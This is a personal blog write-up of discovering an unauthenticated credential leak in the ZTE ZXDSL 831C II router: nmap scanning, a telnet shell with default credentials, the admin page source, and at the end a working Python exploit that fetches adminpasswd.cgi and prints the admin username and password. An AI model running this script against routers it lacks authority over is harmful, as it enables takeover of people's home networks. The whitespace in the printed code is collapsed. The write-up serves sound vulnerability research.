I have never found a real vulnerability in the “real world” before. I was just playing CTFs and
Wargames. One day I was looking through our old stuff, and I stumbled up on this router the
ZTE - ZXDSL 831C II,
and had heard before that this router has a vulnerability. So I thought this would be the perfect chance.
I set it up and started pwning.
Scannig with Nmap
Once every hacker is on a network, it’s obvious what they do, they always run nmap. Let’s run nmap scan
on the router and save the result to a file. We will perform a service scan, and also run the default scripts. Will
use sudo to make nmap go faster.
1
sudo nmap -sC -sV -oA router.txt 192.168.1.1
While we check for the result it’s a good idea to run another scan of all ports.
The result of the first nmap scan looks like this.
Port 80
In the scan we can see that there are some ports open. Let’s inspect port 80 first.
It appears to be a web interface. The defualt username and password is admin,
put that in and you will get this. Now my target shifted to being
able to gain the source code of this web application.
We will use the managemnt tab to change the username and password to demonstrate the attack.
Port 23
If we go back to our nmap scan we see that there is a port 23 open which is telnet, and uses
the same username and password as the web application. We can use the following command to
login.
1
telnet 192.168.1.1 23
After logging in you can issue some command to manage the router, and if you type in help
you will get a list of commands you can use. I was interested in the sh command which will
give you a linux shell.
After getting a shell I immediately run the ls command to see what’s there.
This is a listing of the root directory. The directory I was particularly interested in was
the webs directory. I went into the webs directory and searched for any file which
contains the passwd word in it and I found two.
You can cat the contents of any file in this directory.
Finding The Vulnerability
I was interested in the contents of the adminpasswd.html. Here is the source code.
<html><head><metaHTTP-EQUIV='Pragma'CONTENT='no-cache'><metahttp-equiv="Content-Type"content="text/html; charset=iso-8859-1"/><linkrel="stylesheet"href='stylemain.css'type='text/css'><linkrel="stylesheet"href='colors.css'type='text/css'><scriptlanguage="javascript"src="util.js"></script><scriptlanguage="javascript"><!--hidenameAdmin='<%ejGet(sysUserName)%>';pwdAdmin='<%ejGet(sysPassword)%>';functionfrmLoad(){with(document.forms[0]){sysUserName.value=nameAdmin;sysPassword.value=pwdAdmin;cfmPwd.value=pwdAdmin;}}functionbtnApplyAdmin(){varloc='adminpasswd.cgi?action=save&';with(document.forms[0]){if(sysUserName.value=='<%ejGet(usrUserName)%>'){alert("Don't make such names!Please change it!\n ");return;}if(isIncludeInvalidChar(sysUserName.value)){alert('Invalide characters in user name.');return;}if(isIncludeInvalidChar(sysPassword.value)){alert('Invalide characters in password.');return;}if(sysUserName.value.length==0){alert('Admin Account and Password can\'t be empty.');return;}if(sysUserName.value.indexOf(' ')!=-1){alert('Admin Accout can\'t contain a space.');return;}if(sysPassword.value.indexOf(' ')!=-1){alert('Password can\'t contain a space.');return;}if(sysUserName.value.length>15){alert('Admin Account should not be longer the 15 characters!');return;}if(sysPassword.value.length>32){alert('Password should not be longer than 32 characters.');return;}if(sysPassword.value!=cfmPwd.value){alert("The passwords do not match.");return;}if(sysPassword.value.length==0){alert('Admin Accout and Password cannot be empty.');return;}loc+='sysUserName='+encodeUrl(sysUserName.value)+'&';loc+='sysPassword='+encryptPassword(encodeUrl(sysPassword.value));//lvwz
varcode='location.assign("'+loc+'")';eval(code);}}--></script></head><bodyonLoad='frmLoad()'><form><strong>Admin Account</strong><BR><BR><TABLEcellSpacing="0"cellPadding="0"border="0"><TBODY><TR><TDwidth="590">Admin account has unrestricted access to change and view configuration of your ADSL<br> router. </TD></TR></TBODY></TABLE><BR><TABLEcellSpacing="0"cellPadding="0"border="0"><TBODY><TRheight="30"><TDwidth="150">User Name:</TD><TD><INPUTmaxLength="63"size="30"name="sysUserName"></TD></TR><TRheight="30"><TD>New Password:</TD><TD><INPUTtype="password"maxLength="32"size="30"name="sysPassword"></TD></TR><TRheight="30"><TD>Confirm New Password:</TD><TD><INPUTtype="password"maxLength="32"size="30"name="cfmPwd"></TD></TR></TBODY></TABLE><BR><TABLEwidth="500"border="0"><TBODY><TR><TDalign="left"width="494"><INPUTname="button"type="button"onClick="btnApplyAdmin()"value="Apply"></TD></TR></TBODY></TABLE></form></body></html>
This is the page used by the router to change the username and password to access the router.
The one I showed you earlier.
You might ask “couldn’t you just inspect the elements, while you were authenticated, and get the
source code ?”. That would be a valid question, and my answer would be “because I’m an idot,
and I prefer doing stuff the hard way”.
Anyways if you try to access this site without creds, you would get access denied.
Take note here though, On lines 11
, and 12 The page stores two variables called nameAdmin, and pwdAdmin, which are
populated by the cgi script by the looks of <%ejGet(sysUserName)%>.
On line 26 you would see where this page submits the creds to. It submits them to
adminpasswd.cgi. After searching a lot for the source code of this cgi script, I couldn’t
find it anywhere, and I was avoiding googing for it, because I was afraid of spoilers.
Finally I decided to visit the cgi script directly. I was shocked, I thought maybe the
cookies from my earlier authentication might have had an effect. So I opened a new
browser (qutebrowser), try again, and boom no need to authenticate to access this page.
We can change the username, and password, and access the page boom hacked, but wait there
is more
If you’re curious enough you wouldn’t stop there you would dig for more. So let’s dig some
more.
Obviously any site asks for the old password to check if you are who you say you are.
This page does the checking on the client side, in the open. Which means you can just
snatch the username and password.
#!/usr/bin/env python# This script extracts the Username and Password of the `ZTE - ZXDSL 831C II` # modem. # This script can only be used on a system you have the authority to # execute such scripts on. If you did this attack on a system you don't # have authority on I'm not held responsible. Do so on your own risk.# author: Omer Abdulaziz# email: omerabdi@pm.meimportrequestsimportsysimportrehost="192.168.1.1"try:host=sys.argv[1]except:passtry:print(f"[*] Attacking {host} ...")response=requests.get(f"http://{host}/adminpasswd.cgi")except:print("[!] Network error")sys.exit(2)ifresponse.status_code==200:userna=re.search("nameAdmin = '.*'",response.text).group().split("'")[1]passwd=re.search("pwdAdmin = '.*'",response.text).group().split("'")[1]print(f"[=] Username: {userna}")print(f"[=] Password: {passwd}")sys.exit()else:print("[!] It appears the target is not vulnerable")sys.exit(1)
Running the script. The script runs on the 192.168.1.1 target by default, but you can
change by supplying the target of your choice.
1
2
3
4
python exp.py
# or give it any other targetpython exp.py 10.0.0.1